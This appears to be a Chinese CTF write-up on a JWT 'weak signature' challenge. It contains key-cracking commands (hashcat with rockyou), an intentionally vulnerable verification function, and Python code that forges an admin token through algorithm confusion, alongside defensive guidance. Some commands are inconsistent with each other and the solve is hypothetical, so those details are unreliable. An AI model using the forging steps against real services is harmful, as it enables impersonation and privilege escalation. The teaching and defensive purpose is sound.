1. 赛事背景与题目定位
PolarCTF作为国内知名的网络安全竞赛平台,其2026年春季挑战赛延续了往届的技术深度和实战特色。其中"Signed_Too_Weak"这道题目从名称即可判断属于数字签名安全类题型,结合热词JWT(JSON Web Token)可以推测题目很可能涉及JWT签名算法的安全性问题。
这类题目在CTF中属于Web安全与密码学的交叉领域,主要考察选手对以下知识点的掌握:
- JWT的标准结构(Header.Payload.Signature三部分)
- 不同签名算法(如HS256/RS256/ES256等)的实现差异
- 签名密钥强度与算法选择的关系
- 针对弱签名算法的攻击手法(如密钥爆破、算法混淆等)
2. JWT基础与签名机制解析
2.1 JWT标准结构拆解
一个典型的JWT示例如下(已换行便于阅读):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c三部分分别对应:
- Header:Base64Url解码后为
{"alg":"HS256","typ":"JWT"},声明使用的签名算法 - Payload:包含实际业务数据的claims,如用户ID、过期时间等
- Signature:对前两部分拼接后使用指定算法和密钥生成的签名
2.2 常见签名算法对比
| 算法类型 | 代表算法 | 密钥特点 | 安全性依赖 |
|---|---|---|---|
| 对称加密 | HS256 | 共享密钥 | 密钥复杂度 |
| 非对称加密 | RS256 | 公私钥对 | 私钥保密性 |
| 椭圆曲线 | ES256 | 公私钥对 | 曲线参数安全 |
题目名称"Signed_Too_Weak"暗示可能存在的风险场景:
- 使用HS256等对称算法时密钥过于简单(如短密钥、常见单词)
- 本应使用非对称算法却错误配置为对称算法
- 接受"none"算法等无签名的情况
3. 题目实战分析与破解
3.1 初始信息收集
假设题目提供一个JWT令牌用于身份验证,首先进行基础分析:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY1NzM4OTAyMn0.7dY_Gxj-5VECZsT5XRsX7k8Z9yT2YwW3n7yZ6V8l7E4" | cut -d '.' -f 1 | base64 -d # 输出header: {"alg":"HS256","typ":"JWT"} echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIiLCJyb2xlIjudXNlciIsImlhdCI6MTY1NzM4OTAyMn0" | cut -d '.' -f 2 | base64 -d # 输出payload: {"user":"ctfer","role":"user","iat":1657389022}3.2 密钥爆破实战
使用hashcat进行HS256密钥爆破:
准备签名部分原始数据:
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY1NzM4OTAyMn0" > data.txt准备已知签名(Base64Url解码后的hex):
echo "7dY_Gxj-5VECZsT5XRsX7k8Z9yT2YwW3n7yZ6V8l7E4" | base64 -d | xxd -p # 输出: edd63f1b18fee5510266c4f95d1b17ee4f19f724f66305b79fbc99e95f25ec4e执行爆破(使用rockyou字典):
hashcat -m 16500 -a 0 jwt.txt rockyou.txt
3.3 算法混淆攻击
当服务端代码存在如下漏洞时:
# 错误示例:未验证header中的alg与实际使用的算法是否一致 def verify_jwt(token): header = jwt.get_unverified_header(token) return jwt.decode(token, PUBLIC_KEY, algorithms=[header['alg']]) # 危险!攻击步骤:
- 修改header为
{"alg":"HS256","typ":"JWT"} - 使用公开的公钥作为HS256的密钥重新签名
- 服务端会用RS256公钥作为HS256密钥验证签名
Python实现:
import jwt public_key = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq7XeCisDj4f4KpKllr4M ... -----END PUBLIC KEY-----""" payload = {"user":"admin","role":"admin","iat":1657389022} token = jwt.encode(payload, public_key, algorithm="HS256")4. 防御方案与最佳实践
4.1 服务端安全配置
# 正确做法:严格限制允许的算法 jwt.decode( token, key=public_key, algorithms=["RS256"], # 明确指定允许的算法 options={"verify_aud": False} # 根据业务需要配置其他验证选项 )4.2 密钥管理规范
- HS256密钥长度至少32字节(256位)
- RS256密钥长度建议3072位以上
- 定期轮换密钥并设置合理的过期时间
- 使用专业的密钥管理系统(如HashiCorp Vault)
4.3 深度防御措施
- 在网关层增加JWT格式校验
- 实现令牌吊销列表(黑名单)
- 敏感操作要求二次认证
- 监控异常令牌使用模式
5. 扩展思考:现实中的JWT安全事件
2024年某知名云服务商就曾因JWT实现缺陷导致越权漏洞:
- 问题根源:接受
alg:none且未校验签名 - 攻击方式:删除签名部分后直接提交
- 造成后果:可伪造任意用户身份
- 修复方案:强制验证签名+算法白名单
这类漏洞在CTF之外的真实系统中同样危害巨大,开发者在实现JWT时务必注意:
永远不要信任客户端提交的算法声明,必须在服务端硬编码允许的算法列表